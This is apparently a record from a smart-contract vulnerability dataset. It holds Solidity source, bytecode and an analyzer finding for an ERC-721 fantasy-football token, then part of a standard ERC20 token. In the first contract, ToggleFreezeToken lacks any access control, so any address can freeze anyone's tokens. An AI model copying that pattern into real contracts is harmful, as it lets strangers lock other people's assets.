function totalSupply() public view returns (uint256 total);
function balanceOf(address _owner) public view returns (uint256 balance);
function ownerOf(uint256 _tokenId) external view returns (address owner);
function approve(address _to, uint256 _tokenId) external;
function transfer(address _to, uint256 _tokenId) external;
function transferFrom(address _from, address _to, uint256 _tokenId) external;
// Events
event Transfer(address from, address to, uint256 tokenId);
event Approval(address owner, address approved, uint256 tokenId);
// Optional
// function name() public view returns (string name);
// function symbol() public view returns (string symbol);
// function tokensOfOwner(address _owner) external view returns (uint256[] tokenIds);
// function tokenMetadata(uint256 _tokenId, string _preferredTransport) public view returns (string infoUrl);
// ERC-165 Compatibility (https://github.com/ethereum/EIPs/issues/165)
function supportsInterface(bytes4 _interfaceID) external view returns (bool);
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract AccessControl is Ownable {
address private MainAdmin;
address private TechnicalAdmin;
address private FinancialAdmin;
address private MarketingAdmin;
constructor() public {
MainAdmin = owner;
}
modifier onlyMainAdmin() {
require(msg.sender == MainAdmin);
_;
}
modifier onlyFinancialAdmin() {
require(msg.sender == FinancialAdmin);
_;
}
modifier onlyMarketingAdmin() {
require(msg.sender == MarketingAdmin);
_;
}
modifier onlyTechnicalAdmin() {
require(msg.sender == TechnicalAdmin);
_;
}
modifier onlyAdmins() {
require(msg.sender == TechnicalAdmin || msg.sender == MarketingAdmin
|| msg.sender == FinancialAdmin || msg.sender == MainAdmin);
_;
}
function setMainAdmin(address _newMainAdmin) external onlyOwner {
require(_newMainAdmin != address(0));
MainAdmin = _newMainAdmin;
}
function setFinancialAdmin(address _newFinancialAdmin) external onlyMainAdmin {
require(_newFinancialAdmin != address(0));
FinancialAdmin = _newFinancialAdmin;
}
function setMarketingAdmin(address _newMarketingAdmin) external onlyMainAdmin {
require(_newMarketingAdmin != address(0));
MarketingAdmin = _newMarketingAdmin;
}
function setTechnicalAdmin(address _newTechnicalAdmin) external onlyMainAdmin {
require(_newTechnicalAdmin != address(0));
TechnicalAdmin = _newTechnicalAdmin;
}
}
contract Pausable is AccessControl {
event Pause();
event Unpause();
bool public paused;
constructor() public {
paused = false;
}
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!paused);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() onlyAdmins whenNotPaused public {
paused = true;
emit Pause();
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() onlyAdmins whenPaused public {
paused = false;
emit Unpause();
}
}
contract PullPayment is Pausable {
using SafeMath for uint256;
mapping(address => uint256) public payments;
uint256 public totalPayments;
/**
* @dev Withdraw accumulated balance, called by payee.
*/
function withdrawPayments() whenNotPaused public {
address payee = msg.sender;
uint256 payment = payments[payee];
require(payment != 0);
require(address(this).balance >= payment);
totalPayments = totalPayments.sub(payment);
payments[payee] = 0;
payee.transfer(payment);
}
/**
* @dev Called by the payer to store the sent amount as credit to be pulled.
* @param dest The destination address of the funds.
* @param amount The amount to transfer.
*/
function asyncSend(address dest, uint256 amount) whenNotPaused internal {
payments[dest] = payments[dest].add(amount);
totalPayments = totalPayments.add(amount);
}
}
contract FootballPlayerBase is PullPayment, ERC721 {
struct FootballPlayer {
bytes32 name;
uint8 position;
uint8 star;
uint256 level;
uint256 dna;
}
uint32[14] public maxStaminaForLevel = [
uint32(50 minutes),
uint32(80 minutes),
uint32(110 minutes),
uint32(130 minutes),
uint32(150 minutes),
uint32(160 minutes),
uint32(170 minutes),
uint32(185 minutes),
uint32(190 minutes),
uint32(210 minutes),
uint32(230 minutes),
uint32(235 minutes),
uint32(245 minutes),
uint32(250 minutes)
];
FootballPlayer[] players;
mapping(uint256 => address) playerIndexToOwner;
mapping(address => uint256) addressToPlayerCount;
mapping(uint256 => address) public playerIndexToApproved;
mapping(uint256 => bool) dnaExists;
mapping(uint256 => bool) tokenIsFreezed;
function GetPlayer(uint256 _playerId) external view returns (bytes32, uint8, uint8, uint256, uint256) {
require(_playerId < players.length);
require(_playerId > 0);
FootballPlayer memory _player = players[_playerId];
return (_player.name, _player.position, _player.star, _player.level, _player.dna);
}
function ToggleFreezeToken(uint256 _tokenId) public returns (bool){
require(_tokenId < players.length);
require(_tokenId > 0);
tokenIsFreezed[_tokenId] = !tokenIsFreezed[_tokenId];
return tokenIsFreezed[_tokenId];
}
function _transfer(address _from, address _to, uint256 _tokenId) internal {
require(_to != address(0), "to address is invalid");
require(tokenIsFreezed[_tokenId] == false, "token is freezed");
addressToPlayerCount[_to]++;
playerIndexToOwner[_tokenId] = _to;
if (_from != address(0)) {
addressToPlayerCount[_from]--;
delete playerIndexToApproved[_tokenId];
}
emit Transfer(_from, _to, _tokenId);
}
function CreateSpecialPlayer(bytes32 _name, uint8 _position, uint8 _star, uint256 _dna, uint256 _level,
address _owner) external whenNotPaused onlyMarketingAdmin returns (uint256)
{
require(dnaExists[_dna] == false, "DNA exists");
FootballPlayer memory _player = FootballPlayer(
_name,
_position,
_star,
_level,
_dna
);
dnaExists[_dna] = true;
uint256 newPlayerId = players.push(_player) - 1;
_transfer(0, _owner, newPlayerId);
return newPlayerId;
}
function CreateDummyPlayer(bytes32 _name, uint8 _position, uint256 _dna,
address _owner) external whenNotPaused onlyAdmins returns (uint256)
{
require(dnaExists[_dna] == false, "DNA exists!");
FootballPlayer memory _player = FootballPlayer(
_name,
_position,
uint8(1),
uint256(1),
_dna
);
dnaExists[_dna] = true;
uint256 newPlayerId = players.push(_player) - 1;
_transfer(0, _owner, newPlayerId);
return newPlayerId;
}
}
contract ERC721Metadata {
function getMetadata(uint256 _tokenId, string) public pure returns (bytes32[4] buffer, uint256 count) {
if (_tokenId == 1) {
buffer[0] = "Hello Football! :D";
count = 18;
} else if (_tokenId == 2) {
buffer[0] = "I would definitely choose a medi";
buffer[1] = "um length string.";
count = 49;
} else if (_tokenId == 3) {
buffer[0] = "Lorem ipsum dolor sit amet, mi e";
buffer[1] = "st accumsan dapibus augue lorem,";
buffer[2] = " tristique vestibulum id, libero";
buffer[3] = " suscipit varius sapien aliquam.";
count = 128;
}
}
}
contract FootballPlayerOwnership is FootballPlayerBase {
string public constant name = "CryptoFantasyFootball";
string public constant symbol = "CFF"; // Crypto Fantasy Football
uint256 public version;
ERC721Metadata public erc721Metadata;
bytes4 constant InterfaceSignature_ERC165 =
bytes4(keccak256('supportsInterface(bytes4)'));
bytes4 constant InterfaceSignature_ERC721 =
bytes4(keccak256('name()')) ^
bytes4(keccak256('symbol()')) ^
bytes4(keccak256('totalSupply()')) ^
bytes4(keccak256('balanceOf(address)')) ^
bytes4(keccak256('ownerOf(uint256)')) ^
bytes4(keccak256('approve(address,uint256)')) ^
bytes4(keccak256('transfer(address,uint256)')) ^
bytes4(keccak256('transferFrom(address,address,uint256)')) ^
bytes4(keccak256('tokensOfOwner(address)')) ^
bytes4(keccak256('tokenMetadata(uint256,string)'));
constructor(uint256 _currentVersion) public {
version = _currentVersion;
}
/// @notice Introspection interface as per ERC-165 (https://github.com/ethereum/EIPs/issues/165).
/// Returns true for any standardized interfaces implemented by this contract. We implement
/// ERC-165 (obviously!) and ERC-721.
function supportsInterface(bytes4 _interfaceID) external view returns (bool)
{
// DEBUG ONLY
//require((InterfaceSignature_ERC165 == 0x01ffc9a7) && (InterfaceSignature_ERC721 == 0x9a20483d));
return ((_interfaceID == InterfaceSignature_ERC165) || (_interfaceID == InterfaceSignature_ERC721));
}
function setMetadataAddress(address _contractAddress) public onlyMainAdmin {
require(_contractAddress != address(0));
erc721Metadata = ERC721Metadata(_contractAddress);
}
function _owns(address _claimant, uint256 _tokenId) internal view returns (bool) {
return playerIndexToOwner[_tokenId] == _claimant;
}
function _approvedFor(address _claimant, uint256 _tokenId) internal view returns (bool) {
return playerIndexToApproved[_tokenId] == _claimant;
}
function _approve(uint256 _tokenId, address _approved) internal {
playerIndexToApproved[_tokenId] = _approved;
}
function balanceOf(address _owner) public view returns (uint256 count) {
return addressToPlayerCount[_owner];
}
function transfer(
address _to,
uint256 _tokenId
)
external
whenNotPaused
{
// Safety check to prevent against an unexpected 0x0 default.
require(_to != address(0));
// Disallow transfers to this contract to prevent accidental misuse.
// The contract should never own any players
require(_to != address(this), "you can not transfer player to this contract");
// You can only send your own player.
require(_owns(msg.sender, _tokenId), "You do not own this player");
// Reassign ownership, clear pending approvals, emit Transfer event.
_transfer(msg.sender, _to, _tokenId);
}
function approve(address _to, uint256 _tokenId) external whenNotPaused
{
require(_to != address(0));
// Only an owner can grant transfer approval.
require(_owns(msg.sender, _tokenId));
// Register the approval (replacing any previous approval).
_approve(_tokenId, _to);
// Emit approval event.
emit Approval(msg.sender, _to, _tokenId);
}
/// Transfer a player owned by another address, for which the calling address
/// has previously been granted transfer approval by the owner.
function transferFrom(address _from, address _to, uint256 _tokenId) external whenNotPaused
{
// Safety check to prevent against an unexpected 0x0 default.
require(_to != address(0));
// Disallow transfers to this contract to prevent accidental misuse.
// The contract should never own any players.
require(_to != address(this) , "You can not send players to this contract");
// Check for approval and valid ownership
require(_approvedFor(msg.sender, _tokenId) , "You don't have permission to transfer this player");
require(_owns(_from, _tokenId) , "from address doesn't have this player");
// Reassign ownership (also clears pending approvals and emits Transfer event).
_transfer(_from, _to, _tokenId);
}
function totalSupply() public view returns (uint) {
return players.length - 1;
}
function ownerOf(uint256 _tokenId)
external
view
returns (address owner)
{
owner = playerIndexToOwner[_tokenId];
require(owner != address(0));
}
function tokensOfOwner(address _owner) external view returns (uint256[] ownerTokens) {
uint256 tokenCount = balanceOf(_owner);
if (tokenCount == 0) {
// Return an empty array
return new uint256[](0);
} else {
uint256[] memory result = new uint256[](tokenCount);
uint256 totalPlayers = totalSupply();
uint256 resultIndex = 0;
// We count on the fact that all players have IDs starting at 1 and increasing
// sequentially up to the total players count.
uint256 playerId;
for (playerId = 1; playerId <= totalPlayers; playerId++) {
if (playerIndexToOwner[playerId] == _owner) {
result[resultIndex] = playerId;
resultIndex++;
}
}
return result;
}
}
}
|
0x6080604052600436106101895763ffffffff7c01000000000000000000000000000000000000000000000000000000006000350416625b4487811461018e57806301ffc9a7146101b557806303cc5e4d1461020057806306fdde031461022357806307c4e9e4146102ad578063095ea7b3146102c557806318160ddd146102e957806323b872dd146102fe5780633f4ba83a14610328578063425543f11461033d57806354fd4d501461036a5780635c975abb1461037f5780635d200f84146103945780636103d70b146103dd5780636352211e146103f257806370a08231146104265780638456cb59146104475780638462151c1461045c5780638da5cb5b146104cd57806395d89b41146104e25780639a3aed36146104f7578063a9059cbb14610518578063bc4006f51461053c578063cb1ab34014610551578063dbaab3e114610572578063e17b25af14610593578063e2982c21146105b4578063e94e80fa146105d5578063f2fde38b146105ed578063f931166f1461060e578063fde63e961461063f575b600080fd5b34801561019a57600080fd5b506101a3610675565b60408051918252519081900360200190f35b3480156101c157600080fd5b506101ec7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff196004351661067b565b604080519115158252519081900360200190f35b34801561020c57600080fd5b50610221600160a060020a036004351661090e565b005b34801561022f57600080fd5b5061023861095c565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561027257818101518382015260200161025a565b50505050905090810190601f16801561029f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156102b957600080fd5b506101ec600435610993565b3480156102d157600080fd5b50610221600160a060020a03600435166024356109d8565b3480156102f557600080fd5b506101a3610a6f565b34801561030a57600080fd5b50610221600160a060020a0360043581169060243516604435610a79565b34801561033457600080fd5b50610221610c48565b34801561034957600080fd5b506101a360043560ff60243516604435600160a060020a0360643516610d01565b34801561037657600080fd5b506101a3610f14565b34801561038b57600080fd5b506101ec610f1a565b3480156103a057600080fd5b506103ac600435610f2a565b6040805195865260ff9485166020870152929093168483015260608401526080830191909152519081900360a00190f35b3480156103e957600080fd5b50610221610fce565b3480156103fe57600080fd5b5061040a600435611070565b60408051600160a060020a039092168252519081900360200190f35b34801561043257600080fd5b506101a3600160a060020a0360043516611094565b34801561045357600080fd5b506102216110af565b34801561046857600080fd5b5061047d600160a060020a036004351661116d565b60408051602080825283518183015283519192839290830191858101910280838360005b838110156104b95781810151838201526020016104a1565b505050509050019250505060405180910390f35b3480156104d957600080fd5b5061040a61123f565b3480156104ee57600080fd5b5061023861124e565b34801561050357600080fd5b50610221600160a060020a0360043516611285565b34801561052457600080fd5b50610221600160a060020a03600435166024356112d3565b34801561054857600080fd5b5061040a6113f5565b34801561055d57600080fd5b50610221600160a060020a0360043516611404565b34801561057e57600080fd5b50610221600160a060020a0360043516611452565b34801561059f57600080fd5b50610221600160a060020a03600435166114a0565b3480156105c057600080fd5b506101a3600160a060020a03600435166114ee565b3480156105e157600080fd5b5061040a600435611500565b3480156105f957600080fd5b50610221600160a060020a036004351661151b565b34801561061a57600080fd5b506106266004356115a2565b6040805163ffffffff9092168252519081900360200190f35b34801561064b57600080fd5b506101a360043560ff60243581169060443516606435608435600160a060020a0360a435166115cf565b60065481565b604080517f737570706f727473496e74657266616365286279746573342900000000000000815290519081900360190190206000907bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19838116911614806109065750604080517f746f6b656e4d657461646174612875696e743235362c737472696e67290000008152815190819003601d0181207f746f6b656e734f664f776e657228616464726573732900000000000000000000825282519182900360160182207f7472616e7366657246726f6d28616464726573732c616464726573732c75696e83527f7432353629000000000000000000000000000000000000000000000000000000602084015283519283900360250183207f7472616e7366657228616464726573732c75696e743235362900000000000000845284519384900360190184207f617070726f766528616464726573732c75696e74323536290000000000000000855285519485900360180185207f6f776e65724f662875696e743235362900000000000000000000000000000000865286519586900360100186207f62616c616e63654f662861646472657373290000000000000000000000000000875287519687900360120187207f746f74616c537570706c792829000000000000000000000000000000000000008852885197889003600d0188207f73796d626f6c2829000000000000000000000000000000000000000000000000895289519889900360080189207f6e616d65282900000000000000000000000000000000000000000000000000008a529951988990036006019098207bffffffffffffffffffffffffffffffffffffffffffffffffffffffff198c811691909a189098181818181818181891909116145b90505b919050565b600154600160a060020a0316331461092557600080fd5b600160a060020a038116151561093a57600080fd5b60028054600160a060020a031916600160a060020a0392909216919091179055565b60408051808201909152601581527f43727970746f46616e74617379466f6f7462616c6c0000000000000000000000602082015281565b60095460009082106109a457600080fd5b600082116109b157600080fd5b506000818152600e60205260409020805460ff19811660ff91821615179182905516919050565b60045460a060020a900460ff16156109ef57600080fd5b600160a060020a0382161515610a0457600080fd5b610a0e33826117a6565b1515610a1957600080fd5b610a2381836117c6565b60408051338152600160a060020a038416602082015280820183905290517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259181900360600190a15050565b6009546000190190565b60045460a060020a900460ff1615610a9057600080fd5b600160a060020a0382161515610aa557600080fd5b600160a060020a038216301415610b2c576040805160e560020a62461bcd02815260206004820152602960248201527f596f752063616e206e6f742073656e6420706c617965727320746f207468697360448201527f20636f6e74726163740000000000000000000000000000000000000000000000606482015290519081900360840190fd5b610b3633826117f4565b1515610bb2576040805160e560020a62461bcd02815260206004820152603160248201527f596f7520646f6e27742068617665207065726d697373696f6e20746f2074726160448201527f6e73666572207468697320706c61796572000000000000000000000000000000606482015290519081900360840190fd5b610bbc83826117a6565b1515610c38576040805160e560020a62461bcd02815260206004820152602560248201527f66726f6d206164647265737320646f65736e277420686176652074686973207060448201527f6c61796572000000000000000000000000000000000000000000000000000000606482015290519081900360840190fd5b610c43838383611814565b505050565b600254600160a060020a0316331480610c6b5750600454600160a060020a031633145b80610c805750600354600160a060020a031633145b80610c955750600154600160a060020a031633145b1515610ca057600080fd5b60045460a060020a900460ff161515610cb857600080fd5b6004805474ff0000000000000000000000000000000000000000191690556040517f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3390600090a1565b6000610d0b6119bd565b60045460009060a060020a900460ff1615610d2557600080fd5b600254600160a060020a0316331480610d485750600454600160a060020a031633145b80610d5d5750600354600160a060020a031633145b80610d725750600154600160a060020a031633145b1515610d7d57600080fd5b6000858152600d602052604090205460ff1615610de4576040805160e560020a62461bcd02815260206004820152600b60248201527f444e412065786973747321000000000000000000000000000000000000000000604482015290519081900360640190fd5b50506040805160a08101825286815260ff8681166020808401918252600184860181815260608601828152608087018b815260008c8152600d909552978420805460ff199081168517909155600980549485018155855287517f6e1540171b6c0c960b71a7020d9f60077f6af931a8bbf590da0223dacf75c7af600486029081019190915595517f6e1540171b6c0c960b71a7020d9f60077f6af931a8bbf590da0223dacf75c7b0870180549451949092169088161761ff001916610100939097169290920295909517905592517f6e1540171b6c0c960b71a7020d9f60077f6af931a8bbf590da0223dacf75c7b183015593517f6e1540171b6c0c960b71a7020d9f60077f6af931a8bbf590da0223dacf75c7b2909101559091610f0a908583611814565b9695505050505050565b600f5481565b60045460a060020a900460ff1681565b6000806000806000610f3a6119bd565b6009548710610f4857600080fd5b60008711610f5557600080fd5b6009805488908110610f6357fe5b60009182526020918290206040805160a0810182526004939093029091018054808452600182015460ff8082169686018790526101009091041692840183905260028201546060850181905260039092015460809094018490529b939a509098509650945092505050565b600454600090819060a060020a900460ff1615610fea57600080fd5b50503360008181526005602052604090205480151561100857600080fd5b303181111561101657600080fd5b600654611029908263ffffffff6119ab16565b600655600160a060020a0382166000818152600560205260408082208290555183156108fc0291849190818181858888f19350505050158015610c43573d6000803e3d6000fd5b6000818152600a6020526040902054600160a060020a031680151561090957600080fd5b600160a060020a03166000908152600b602052604090205490565b600254600160a060020a03163314806110d25750600454600160a060020a031633145b806110e75750600354600160a060020a031633145b806110fc5750600154600160a060020a031633145b151561110757600080fd5b60045460a060020a900460ff161561111e57600080fd5b6004805474ff0000000000000000000000000000000000000000191660a060020a1790556040517f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62590600090a1565b606060006060600080600061118187611094565b94508415156111a0576040805160008152602081019091529550611235565b846040519080825280602002602001820160405280156111ca578160200160208202803883390190505b5093506111d5610a6f565b925060009150600190505b828111611231576000818152600a6020526040902054600160a060020a03888116911614156112295780848381518110151561121857fe5b602090810290910101526001909101905b6001016111e0565b8395505b5050505050919050565b600054600160a060020a031681565b60408051808201909152600381527f4346460000000000000000000000000000000000000000000000000000000000602082015281565b600054600160a060020a0316331461129c57600080fd5b600160a060020a03811615156112b157600080fd5b60018054600160a060020a031916600160a060020a0392909216919091179055565b60045460a060020a900460ff16156112ea57600080fd5b600160a060020a03821615156112ff57600080fd5b600160a060020a038216301415611386576040805160e560020a62461bcd02815260206004820152602c60248201527f796f752063616e206e6f74207472616e7366657220706c6179657220746f207460448201527f68697320636f6e74726163740000000000000000000000000000000000000000606482015290519081900360840190fd5b61139033826117a6565b15156113e6576040805160e560020a62461bcd02815260206004820152601a60248201527f596f7520646f206e6f74206f776e207468697320706c61796572000000000000604482015290519081900360640190fd5b6113f1338383611814565b5050565b601054600160a060020a031681565b600154600160a060020a0316331461141b57600080fd5b600160a060020a038116151561143057600080fd5b60038054600160a060020a031916600160a060020a0392909216919091179055565b600154600160a060020a0316331461146957600080fd5b600160a060020a038116151561147e57600080fd5b60048054600160a060020a031916600160a060020a0392909216919091179055565b600154600160a060020a031633146114b757600080fd5b600160a060020a03811615156114cc57600080fd5b60108054600160a060020a031916600160a060020a0392909216919091179055565b60056020526000908152604090205481565b600c60205260009081526040902054600160a060020a031681565b600054600160a060020a0316331461153257600080fd5b600160a060020a038116151561154757600080fd5b60008054604051600160a060020a03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a360008054600160a060020a031916600160a060020a0392909216919091179055565b600781600e81106115af57fe5b60089182820401919006600402915054906101000a900463ffffffff1681565b60006115d96119bd565b60045460009060a060020a900460ff16156115f357600080fd5b600454600160a060020a0316331461160a57600080fd5b6000868152600d602052604090205460ff1615611671576040805160e560020a62461bcd02815260206004820152600a60248201527f444e412065786973747300000000000000000000000000000000000000000000604482015290519081900360640190fd5b50506040805160a08101825288815260ff888116602080840191825289831684860190815260608501898152608086018b815260008c8152600d9094529683208054600160ff199182168117909255600980549283018155855287517f6e1540171b6c0c960b71a7020d9f60077f6af931a8bbf590da0223dacf75c7af600484029081019190915595517f6e1540171b6c0c960b71a7020d9f60077f6af931a8bbf590da0223dacf75c7b0870180549551959092169088161761ff001916610100949097169390930295909517909155517f6e1540171b6c0c960b71a7020d9f60077f6af931a8bbf590da0223dacf75c7b183015593517f6e1540171b6c0c960b71a7020d9f60077f6af931a8bbf590da0223dacf75c7b290910155909161179a908583611814565b98975050505050505050565b6000908152600a6020526040902054600160a060020a0391821691161490565b6000918252600c60205260409091208054600160a060020a031916600160a060020a03909216919091179055565b6000908152600c6020526040902054600160a060020a0391821691161490565b600160a060020a0382161515611874576040805160e560020a62461bcd02815260206004820152601560248201527f746f206164647265737320697320696e76616c69640000000000000000000000604482015290519081900360640190fd5b6000818152600e602052604090205460ff16156118db576040805160e560020a62461bcd02815260206004820152601060248201527f746f6b656e20697320667265657a656400000000000000000000000000000000604482015290519081900360640190fd5b600160a060020a038083166000818152600b6020908152604080832080546001019055858352600a90915290208054600160a060020a031916909117905583161561195c57600160a060020a0383166000908152600b602090815260408083208054600019019055838352600c90915290208054600160a060020a03191690555b60408051600160a060020a0380861682528416602082015280820183905290517fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360600190a1505050565b6000828211156119b757fe5b50900390565b6040805160a081018252600080825260208201819052918101829052606081018290526080810191909152905600a165627a7a7230582059edd93686d43ab724c2e2722461a72cf9233f91da39efb7700106486dc96dcb0029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium"}]}}
| 8,473 |
0x07cfd708477ad18e4b54ece3b2473bf4f570fd8a
|
pragma solidity ^0.4.21;
// File: zeppelin-solidity/contracts/math/SafeMath.sol
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
// File: zeppelin-solidity/contracts/token/ERC20Basic.sol
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
// File: zeppelin-solidity/contracts/token/BasicToken.sol
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
// File: zeppelin-solidity/contracts/token/BurnableToken.sol
/**
* @title Burnable Token
* @dev Token that can be irreversibly burned (destroyed).
*/
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
/**
* @dev Burns a specific amount of tokens.
* @param _value The amount of token to be burned.
*/
function burn(uint256 _value) public {
_burn(msg.sender, _value);
}
function _burn(address _who, uint256 _value) internal {
require(_value <= balances[_who]);
// no need to require value <= totalSupply, since that would imply the
// sender's balance is greater than the totalSupply, which *should* be an assertion failure
balances[_who] = balances[_who].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
}
}
// File: zeppelin-solidity/contracts/ownership/Ownable.sol
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
// File: zeppelin-solidity/contracts/token/ERC20.sol
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: zeppelin-solidity/contracts/token/StandardToken.sol
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
// File: zeppelin-solidity/contracts/token/MintableToken.sol
/**
* @title Mintable token
* @dev Simple ERC20 Token example, with mintable token creation
* @dev Issue: * https://github.com/OpenZeppelin/openzeppelin-solidity/issues/120
* Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol
*/
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
